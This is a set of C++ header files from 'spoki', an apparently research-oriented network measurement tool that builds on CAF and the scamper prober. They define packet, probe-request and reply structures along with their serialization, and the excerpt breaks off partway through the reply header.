std { 44 | 45 | template <> 46 | struct hash { 47 | size_t operator()(const spoki::net::endpoint& x) const { 48 | size_t seed = 0; 49 | spoki::hash_combine(seed, x.daddr); 50 | spoki::hash_combine(seed, x.dport); 51 | return seed; 52 | } 53 | }; 54 | 55 | } // namespace std 56 | 57 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/five_tuple.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include "spoki/detail/core_export.hpp" 16 | #include "spoki/hashing.hpp" 17 | #include "spoki/net/protocol.hpp" 18 | 19 | #include 20 | 21 | #include 22 | 23 | namespace spoki::net { 24 | 25 | /// Five tuple for a transport packet. In case of ICMP, the ports will be 0. 26 | struct SPOKI_CORE_EXPORT five_tuple { 27 | protocol proto; 28 | caf::ipv4_address saddr; 29 | caf::ipv4_address daddr; 30 | uint16_t sport; 31 | uint16_t dport; 32 | }; 33 | 34 | /// Equality comparison operator for `five_tuple`. 35 | inline bool operator==(const five_tuple& lhs, const five_tuple& rhs) { 36 | return lhs.proto == rhs.proto && lhs.saddr == rhs.saddr 37 | && lhs.daddr == rhs.daddr && lhs.sport == rhs.sport 38 | && lhs.dport == rhs.dport; 39 | } 40 | 41 | // -- JSON --------------------------------------------------------------------- 42 | 43 | void to_json(nlohmann::json& j, const five_tuple& x); 44 | 45 | void from_json(const nlohmann::json&, five_tuple&); 46 | 47 | // -- CAF serialization -------------------------------------------------------- 48 | 49 | /// Enable serialization by CAF. 50 | template 51 | typename Inspector::result_type inspect(Inspector& f, five_tuple& x) { 52 | return f.object(x).fields(f.field("proto", x.proto), 53 | f.field("saddr", x.saddr), 54 | f.field("daddr", x.daddr), 55 | f.field("sport", x.sport), 56 | f.field("dport", x.dport)); 57 | } 58 | 59 | } // namespace spoki::net 60 | 61 | namespace std { 62 | 63 | template <> 64 | struct hash { 65 | size_t operator()(const spoki::net::five_tuple& x) const { 66 | size_t seed = 0; 67 | spoki::hash_combine(seed, x.proto); 68 | spoki::hash_combine(seed, x.saddr); 69 | spoki::hash_combine(seed, x.daddr); 70 | spoki::hash_combine(seed, x.sport); 71 | spoki::hash_combine(seed, x.dport); 72 | return seed; 73 | } 74 | }; 75 | 76 | } // namespace std 77 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/icmp.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | 20 | #include "spoki/detail/core_export.hpp" 21 | #include "spoki/hashing.hpp" 22 | #include "spoki/net/icmp_type.hpp" 23 | #include "spoki/net/udp_hdr.hpp" 24 | 25 | namespace spoki::net { 26 | 27 | /// ICMP event info. 28 | struct SPOKI_CORE_EXPORT icmp { 29 | icmp_type type; 30 | caf::optional unreachable; 31 | }; 32 | 33 | /// Print data of a icmp event. 34 | SPOKI_CORE_EXPORT std::string to_string(const icmp& x); 35 | 36 | /// Equality comparison operator for udp probes. 37 | inline bool operator==(const icmp& lhs, const icmp& rhs) { 38 | return lhs.type == rhs.type; 39 | } 40 | 41 | /// Enable serialization by CAF. 42 | template 43 | typename Inspector::result_type inspect(Inspector& f, icmp& x) { 44 | return f.object(x).fields(f.field("type", x.type)); 45 | } 46 | 47 | // -- JSON --------------------------------------------------------------------- 48 | 49 | void to_json(nlohmann::json& j, const icmp& x); 50 | 51 | void from_json(const nlohmann::json&, icmp&); 52 | 53 | } // namespace spoki::net 54 | 55 | namespace std { 56 | 57 | template <> 58 | struct hash { 59 | size_t operator()(const spoki::net::icmp& x) const noexcept { 60 | using utype = std::underlying_type::type; 61 | std::hash h; 62 | return h(static_cast(x.type)); 63 | } 64 | }; 65 | 66 | } // namespace std 67 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/icmp_type.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | 22 | #include "spoki/detail/core_export.hpp" 23 | 24 | namespace spoki::net { 25 | 26 | enum class icmp_type : uint8_t { 27 | echo_reply = 0, 28 | // 1 & 2 unassigned 29 | dest_unreachable = 3, 30 | source_quench, 31 | redirect_message, 32 | // 6 deprecated 33 | // 7 unassigned 34 | echo_request = 8, 35 | router_advertisement, 36 | router_solicitation, 37 | time_exceeded, 38 | bad_ip_header, 39 | timestamp, 40 | timestamp_reply, 41 | information_request, 42 | information_reply, 43 | addr_mark_request, 44 | addr_mark_reply, 45 | // 19 to 29 reserved 46 | // 30: traceroute, deprecated 47 | // 31 to 39 deprecated 48 | // 40 ... 49 | // 41 experimental 50 | extended_echo_request = 42, 51 | extended_echo_reply, 52 | // 44 to 252 reserved 53 | // 253 & 254 experimental 54 | other = 255, // 255 reserved 55 | }; 56 | 57 | SPOKI_CORE_EXPORT std::string to_string(icmp_type); 58 | 59 | SPOKI_CORE_EXPORT bool from_string(caf::string_view, icmp_type&); 60 | 61 | SPOKI_CORE_EXPORT bool from_integer(std::underlying_type_t, 62 | icmp_type&); 63 | 64 | icmp_type to_icmp_type(uint8_t val); 65 | 66 | // -- Serialization ------------------------------------------------------------ 67 | 68 | template 69 | bool inspect(Inspector& f, icmp_type& x) { 70 | return caf::default_enum_inspect(f, x); 71 | } 72 | 73 | } // namespace spoki::net 74 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/protocol.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include "spoki/detail/core_export.hpp" 22 | 23 | namespace spoki::net { 24 | 25 | enum class protocol : uint8_t { 26 | icmp = 0, 27 | tcp, 28 | udp, 29 | other, 30 | }; 31 | 32 | using protocol_utype = typename std::underlying_type::type; 33 | 34 | template 35 | constexpr typename std::underlying_type::type as_utype(const T p) { 36 | using utype = typename std::underlying_type::type; 37 | return static_cast(p); 38 | } 39 | 40 | SPOKI_CORE_EXPORT std::string to_string(protocol); 41 | 42 | SPOKI_CORE_EXPORT bool from_string(caf::string_view, protocol&); 43 | 44 | SPOKI_CORE_EXPORT bool from_integer(std::underlying_type_t, 45 | protocol&); 46 | 47 | template 48 | bool inspect(Inspector& f, protocol& x) { 49 | return caf::default_enum_inspect(f, x); 50 | } 51 | 52 | 53 | } // namespace spoki::net 54 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/socket_guard.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | 16 | namespace spoki::net { 17 | 18 | constexpr int invalid_socket = -1; 19 | 20 | class socket_guard { 21 | public: 22 | socket_guard(int fd); 23 | ~socket_guard(); 24 | 25 | int release(); 26 | void close(); 27 | 28 | private: 29 | int fd_; 30 | }; 31 | 32 | } // spoki::net 33 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/tcp.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | 22 | #include 23 | 24 | #include "spoki/detail/core_export.hpp" 25 | #include "spoki/hashing.hpp" 26 | #include "spoki/net/tcp_opt.hpp" 27 | 28 | namespace spoki::net { 29 | 30 | /// TCP event info. 31 | struct SPOKI_CORE_EXPORT tcp { 32 | uint16_t sport; 33 | uint16_t dport; 34 | uint32_t snum; 35 | uint32_t anum; 36 | /* 37 | uint8_t syn : 1; 38 | uint8_t ack : 1; 39 | uint8_t rst : 1; 40 | uint8_t fin : 1; 41 | */ 42 | bool syn; 43 | bool ack; 44 | bool rst; 45 | bool fin; 46 | uint16_t window_size; 47 | std::unordered_map> options; 48 | std::vector payload; 49 | }; 50 | 51 | /// Equality comparison operator for tcp events. 52 | inline bool operator==(const tcp& lhs, const tcp& rhs) { 53 | return lhs.sport == rhs.sport && lhs.dport == rhs.dport 54 | && lhs.snum == rhs.snum && lhs.anum == rhs.anum && lhs.syn == rhs.syn 55 | && lhs.ack == rhs.ack && lhs.rst == rhs.rst && lhs.fin == rhs.fin 56 | && lhs.window_size == rhs.window_size; 57 | } 58 | 59 | /// Print data of a tcp event. 60 | SPOKI_CORE_EXPORT std::string to_string(const tcp& x); 61 | 62 | /// Make a string with the recorded TCP flags. 63 | SPOKI_CORE_EXPORT std::string tcp_flags_str(const tcp& x); 64 | 65 | /// Enable serialization by CAF. 66 | template 67 | typename Inspector::result_type inspect(Inspector& f, tcp& x) { 68 | return f.object(x).fields(f.field("sport", x.sport), 69 | f.field("dport", x.dport), f.field("snum", x.snum), 70 | f.field("anum", x.anum), f.field("syn", x.syn), 71 | f.field("ack", x.ack), f.field("rst", x.rst), 72 | f.field("window_size", x.window_size), 73 | f.field("options", x.options), 74 | f.field("payload", x.payload)); 75 | } 76 | 77 | // -- networking --------------------------------------------------------------- 78 | 79 | int connect(std::string host, uint16_t port); 80 | 81 | int read(int sock, void* buf, size_t len); 82 | 83 | int write(int sock, const void* buf, size_t len); 84 | 85 | // -- JSON --------------------------------------------------------------------- 86 | 87 | void to_json(nlohmann::json& j, const tcp& x); 88 | 89 | void from_json(const nlohmann::json&, tcp&); 90 | 91 | } // namespace spoki::net 92 | 93 | // -- HASH --------------------------------------------------------------------- 94 | 95 | namespace std { 96 | 97 | template <> 98 | struct hash { 99 | size_t operator()(const spoki::net::tcp& x) const noexcept { 100 | size_t seed = 0; 101 | spoki::hash_combine(seed, x.sport); 102 | spoki::hash_combine(seed, x.dport); 103 | spoki::hash_combine(seed, x.snum); 104 | spoki::hash_combine(seed, x.anum); 105 | spoki::hash_combine(seed, x.window_size); 106 | return seed; 107 | } 108 | }; 109 | 110 | } // namespace std 111 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/tcp_opt.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #include 25 | 26 | #include "spoki/detail/core_export.hpp" 27 | 28 | namespace spoki::net { 29 | 30 | /// Socket operation to control the async decoder event subscriptions. 31 | enum class tcp_opt : uint8_t { 32 | end_of_list = 0, 33 | noop = 1, 34 | mss = 2, 35 | window_scale = 3, 36 | sack_permitted = 4, 37 | sack = 5, 38 | timestamp = 8, 39 | other 40 | }; 41 | 42 | using tcp_opt_map = std::unordered_map>; 43 | 44 | SPOKI_CORE_EXPORT std::string to_string(tcp_opt); 45 | 46 | SPOKI_CORE_EXPORT bool from_string(caf::string_view, tcp_opt&); 47 | 48 | SPOKI_CORE_EXPORT bool from_integer(std::underlying_type_t, tcp_opt&); 49 | 50 | std::string option_name(tcp_opt); 51 | 52 | inline constexpr uint8_t to_value(tcp_opt x) { 53 | return static_cast(x); 54 | } 55 | 56 | // -- JSON --------------------------------------------------------------------- 57 | 58 | void to_json(nlohmann::json& j, const tcp_opt_map& x); 59 | 60 | void from_json(const nlohmann::json&, tcp_opt_map&); 61 | 62 | // -- Serialization ------------------------------------------------------------ 63 | 64 | template 65 | bool inspect(Inspector& f, tcp_opt& x) { 66 | return caf::default_enum_inspect(f, x); 67 | } 68 | 69 | } // namespace spoki::net 70 | 71 | // -- HASH --------------------------------------------------------------------- 72 | 73 | namespace std { 74 | 75 | template <> 76 | struct hash { 77 | size_t operator()(const spoki::net::tcp_opt x) const noexcept { 78 | std::hash h; 79 | return h(to_value(x)); 80 | } 81 | }; 82 | 83 | } // namespace std 84 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/udp.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | 20 | #include 21 | 22 | #include "spoki/detail/core_export.hpp" 23 | #include "spoki/hashing.hpp" 24 | 25 | namespace spoki::net { 26 | 27 | /// UDP event info. 28 | struct SPOKI_CORE_EXPORT udp { 29 | uint16_t sport; 30 | uint16_t dport; 31 | std::vector payload; 32 | }; 33 | 34 | /// Equality comparison operator for udp events. 35 | inline bool operator==(const udp& lhs, const udp& rhs) { 36 | return lhs.sport == rhs.sport && lhs.dport == rhs.dport; 37 | } 38 | 39 | /// Print data of a udp event. 40 | SPOKI_CORE_EXPORT std::string to_string(const udp& x); 41 | 42 | // -- Serialization ------------------------------------------------------------ 43 | 44 | /// Enable serialization by CAF. 45 | template 46 | typename Inspector::result_type inspect(Inspector& f, udp& x) { 47 | return f.object(x).fields(f.field("sport", x.sport), 48 | f.field("dport", x.dport), 49 | f.field("payload", x.payload)); 50 | } 51 | 52 | // -- JSON --------------------------------------------------------------------- 53 | 54 | void to_json(nlohmann::json& j, const udp& x); 55 | 56 | void from_json(const nlohmann::json&, udp&); 57 | 58 | } // namespace spoki::net 59 | 60 | namespace std { 61 | 62 | template <> 63 | struct hash { 64 | size_t operator()(const spoki::net::udp& x) const noexcept { 65 | size_t seed = 0; 66 | spoki::hash_combine(seed, x.sport); 67 | spoki::hash_combine(seed, x.dport); 68 | return seed; 69 | } 70 | }; 71 | 72 | } // namespace std 73 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/udp_hdr.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | 20 | namespace spoki::net { 21 | 22 | /// Just the UDP header. 23 | struct udp_hdr { 24 | uint16_t sport; 25 | uint16_t dport; 26 | uint16_t length; 27 | uint16_t chksum; 28 | }; 29 | 30 | // -- JSON --------------------------------------------------------------------- 31 | 32 | void to_json(nlohmann::json& j, const udp_hdr& x); 33 | 34 | void from_json(const nlohmann::json&, udp_hdr&); 35 | 36 | // -- Serialization ------------------------------------------------------------ 37 | 38 | /// Enable serialization by CAF. 39 | template 40 | typename Inspector::result_type inspect(Inspector& f, udp_hdr& x) { 41 | return f.object(x).fields(f.field("sport", x.sport), 42 | f.field("sport", x.dport), 43 | f.field("length", x.length), 44 | f.field("chksum", x.chksum)); 45 | } 46 | 47 | } // namespace spoki::net 48 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/unix.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | 22 | #include 23 | 24 | #include "spoki/detail/core_export.hpp" 25 | #include "spoki/hashing.hpp" 26 | #include "spoki/net/tcp_opt.hpp" 27 | 28 | namespace spoki::net { 29 | 30 | // -- networking --------------------------------------------------------------- 31 | 32 | int connect(std::string name); 33 | 34 | // Same as TCP. 35 | // int read(int sock, void* buf, size_t len); 36 | // int write(int sock, const void* buf, size_t len); 37 | 38 | } // namespace std 39 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/operation.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | namespace spoki { 18 | 19 | /// Socket operation to control the async decoder event subscriptions. 20 | enum class operation { read, write }; 21 | 22 | /// Stringify the operation. 23 | inline std::string to_string(operation op) { 24 | return op == operation::read ? "read" : "write"; 25 | } 26 | 27 | } // namespace spoki 28 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/probe/method.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include "spoki/detail/core_export.hpp" 22 | 23 | namespace spoki::probe { 24 | 25 | /// Probing methods supported by scamper. 26 | enum class method : uint8_t { 27 | icmp_echo = 0, 28 | icmp_time, 29 | tcp_syn, 30 | tcp_ack, 31 | tcp_ack_sport, 32 | tcp_synack, 33 | tcp_rst, 34 | udp, 35 | udp_dport 36 | }; 37 | 38 | SPOKI_CORE_EXPORT std::string probe_name(method); 39 | 40 | SPOKI_CORE_EXPORT std::string to_string(method); 41 | 42 | SPOKI_CORE_EXPORT bool from_string(caf::string_view, method&); 43 | 44 | SPOKI_CORE_EXPORT bool from_integer(std::underlying_type_t, 45 | method&); 46 | 47 | // -- Serialization ------------------------------------------------------------ 48 | 49 | template 50 | bool inspect(Inspector& f, method& x) { 51 | return caf::default_enum_inspect(f, x); 52 | } 53 | 54 | } // namespace spoki::probe 55 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/probe/payloads.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | namespace spoki::probe { 20 | 21 | using payload_map = std::unordered_map>; 22 | using payload_str_map = std::unordered_map; 23 | 24 | /// Returns a map from port to service specific probe as vec over ascii chars. 25 | payload_map get_payloads(); 26 | 27 | /// Returns a map from port to service specific probe as a hex string. 28 | payload_str_map get_payload_hex_strs(); 29 | 30 | /// Convert a buffer of characters to a hex string. 31 | std::string to_hex_string(const std::vector& buf); 32 | 33 | } // namespace spoki::probe 34 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/probe/request.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | 21 | #include 22 | 23 | #include "spoki/detail/core_export.hpp" 24 | #include "spoki/packet.hpp" 25 | #include "spoki/probe/method.hpp" 26 | #include "spoki/target_key.hpp" 27 | 28 | namespace spoki::probe { 29 | 30 | struct SPOKI_CORE_EXPORT request { 31 | method probe_method; 32 | caf::ipv4_address saddr; 33 | caf::ipv4_address daddr; 34 | uint16_t sport; 35 | uint16_t dport; 36 | uint32_t snum; 37 | uint32_t anum; 38 | uint32_t user_id; 39 | std::vector payload; 40 | uint16_t num_probes; 41 | }; 42 | 43 | SPOKI_CORE_EXPORT std::string make_command(const request& req); 44 | 45 | 46 | SPOKI_CORE_EXPORT std::string make_tcp_synack_probe_pe(const request& req); 47 | SPOKI_CORE_EXPORT std::string make_tcp_synack_probe_ss(const request& req); 48 | 49 | // -- JSON --------------------------------------------------------------------- 50 | 51 | SPOKI_CORE_EXPORT void to_json(nlohmann::json& j, const request& x); 52 | 53 | SPOKI_CORE_EXPORT void from_json(const nlohmann::json&, request&); 54 | 55 | // -- Serialization ------------------------------------------------------------ 56 | 57 | template 58 | typename Inspector::result_type inspect(Inspector& f, request& x) { 59 | return f.object(x).fields( 60 | f.field("probe_method", x.probe_method), f.field("saddr", x.saddr), 61 | f.field("daddr", x.daddr), f.field("sport", x.sport), 62 | f.field("dport", x.dport), f.field("snum", x.snum), f.field("anum", x.anum), 63 | f.field("payload", x.payload), f.field("num_probes", x.num_probes)); 64 | } 65 | 66 | } // namespace spoki::probe 67 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/scamper/ec.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include "spoki/atoms.hpp" 22 | 23 | namespace spoki::scamper { 24 | 25 | /// Scamper broker specific errors related to starting the broker along its 26 | /// decoder. 27 | enum class ec : uint8_t { 28 | /// The error is a lie. 29 | success = 0, 30 | /// Failed to connect to scamper daemon 31 | failed_to_connect = 1, 32 | /// Failed to start WARTS decoder. 33 | failed_to_start_decoder 34 | }; 35 | 36 | SPOKI_CORE_EXPORT std::string to_string(ec); 37 | 38 | SPOKI_CORE_EXPORT bool from_string(caf::string_view, ec&); 39 | 40 | SPOKI_CORE_EXPORT bool from_integer(std::underlying_type_t, 41 | ec&); 42 | 43 | // -- Serialization ------------------------------------------------------------ 44 | 45 | template 46 | bool inspect(Inspector& f, ec& x) { 47 | return caf::default_enum_inspect(f, x); 48 | } 49 | 50 | } // namespace spoki::scamper 51 | 52 | CAF_ERROR_CODE_ENUM(spoki::scamper::ec) 53 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/scamper/manager.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include "spoki/detail/core_export.hpp" 18 | #include "spoki/scamper/driver.hpp" 19 | 20 | namespace spoki::scamper { 21 | 22 | // The scamper::broker is not fast enough to drive enough scamper daemons to 23 | // give us up to 500k pps, it doesn't even reach 100k pps. Instead of using a 24 | // single I/O loop, we'll strive to deploy mulitple ones. Each shard will get a 25 | // sinlge scamper::manger that it sends it's request to. The manager will make 26 | // sure that it doesn't request probes to target it aleady probes. 27 | 28 | struct SPOKI_CORE_EXPORT mgnt_data { 29 | /// Driver instances for probing. Could be a map from ID to driver_ptr if we 30 | /// want to have more than one. In that case we should probably bundle a bunch 31 | /// of information with the ptr. That might include pps, the targets map, etc. 32 | driver_ptr drv; 33 | 34 | /// PPS data to check if we can keep this up. We could eventually enable 35 | /// dynamic allocation of probes. Well, the scamper instances have to be 36 | /// running, but we could dynamically distribute them across shards. We don't 37 | /// know how the current load will be distributed across them in advance. 38 | uint32_t pps; 39 | 40 | /// Count request per second. 41 | uint32_t rps; 42 | 43 | /// Last queue size info we got from the driver. 44 | size_t queue_size; 45 | 46 | /// Use this as a PPS goal for now. 47 | uint32_t pps_goal; 48 | 49 | /// Current targets. If we target is in this set, we should not request an 50 | /// additional probe. 51 | std::unordered_set targets; 52 | std::unordered_map userids; 53 | 54 | /// Forward scamper replies here for logging. Additionally log probes we drop. 55 | caf::actor collector; 56 | 57 | // If we want to dynamically distribute scamper instances we'd need an 58 | // "exchange point" for the resources. One prerequisit is that we can shut 59 | // down drivers, which is currently not implemented. 60 | // 61 | // caf::actor scamper_info_exchange_point. 62 | 63 | /// Tag for result files. 64 | std::string tag; 65 | 66 | /// Our self pointer. 67 | caf::stateful_actor* self; 68 | 69 | /// Name for CAF-related error and logs. 70 | const char* name; 71 | }; 72 | 73 | SPOKI_CORE_EXPORT caf::behavior manager(caf::stateful_actor* self, 74 | std::string tag, std::string host, 75 | uint16_t port); 76 | 77 | SPOKI_CORE_EXPORT caf::behavior 78 | manager_unix(caf::stateful_actor* self, std::string tag, 79 | std::string name); 80 | 81 | } // namespace spoki::scamper 82 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/scamper/ping.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | extern "C" { 21 | 22 | // Because Scamper's include files are not self-contained this ordering is 23 | // important so separate with newlines to prevent clang-format from re-arranging 24 | // them. 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | } // extern C 31 | 32 | namespace spoki::scamper { 33 | 34 | namespace detail { 35 | 36 | /// Deleter to store scamper ping types in std::shared_ptr. 37 | struct scamper_ping_deleter { 38 | void operator()(scamper_ping_t* p) const { 39 | if (p != nullptr) 40 | scamper_ping_free(p); 41 | } 42 | }; 43 | 44 | } // namespace detail 45 | 46 | /// Wrap a scamper ping in a shared ptr to avoid passing raw pointers. 47 | using ping_result_ptr = std::shared_ptr; 48 | 49 | /// Returns the destination address of a probe result as a string. 50 | std::string ping_dst(scamper_ping_t* p); 51 | 52 | /// Returns the source address of a probe result as a string. 53 | std::string ping_src(scamper_ping_t* p); 54 | 55 | } // namespace spoki::scamper 56 | 57 | CAF_ALLOW_UNSAFE_MESSAGE_TYPE(spoki::scamper::ping_result_ptr) 58 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/scamper/reply.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include "spoki/detail/core_export.hpp" 20 | #include "spoki/probe/method.hpp" 21 | 22 | namespace spoki::scamper { 23 | 24 | struct SPOKI_CORE_EXPORT statistics { 25 | uint32_t replies; 26 | uint32_t loss; 27 | }; 28 | 29 | struct SPOKI_CORE_EXPORT timepoint { 30 | long sec; 31 | long usec; 32 | }; 33 | 34 | struct SPOKI_CORE_EXPORT reply { 35 | std::string type; 36 | float version; 37 | probe::method probe_method; 38 | std::string src; 39 | std::string dst; 40 | timepoint start; 41 | uint32_t ping_sent; 42 | uint32_t probe_size; 43 | uint32_t userid; 44 | uint32_t ttl; 45 | uint32_t wait; 46 | uint32_t timeout; 47 | uint16_t sport; 48 | uint16_t dport; 49 | std::string payload; 50 | std::vector flags; 51 | std::vector responses; 52 | statistics stats; 53 | }; 54 | 55 | // -- logging ------------------------------------------------------------------ 56 | 57 | SPOKI_CORE_EXPORT std::string to_log_line(const reply& repl, 58 | char delimiter = '|'); 59 | 60 | // -- serialization ------------------------------------------------------------ 61 | 62 | template 63 | typename Inspector::result_type inspect(Inspector& f, statistics& x) { 64 | return f.object(x).fields(f.field("replies", x.replies), 65 | f.field("loss", x.loss)); 66 | } 67 | 68 | template 69 | typename Inspector::result_type inspect(Inspector& f, timepoint& x) { 70 | return f.object(x).fields(f.field("sec", x.sec), f.field("usec", x.usec)); 71 | } 72 | 73 | template 74 | typename Inspector::result_type inspect(Inspector& f, reply& x) { 75 | return f.object(x).fields( 76 | f.field("type", x.type), f.field("version", x.version), 77 | f.field("method", x.probe_method), f.field("src", x.src), 78 | f.field("dst", x.dst), f.field("start", x.start), 79 | f.field("ping_sent", x.ping_sent), f.field("probe_size", x.probe_size), 80 | f.field("userid", x.userid), 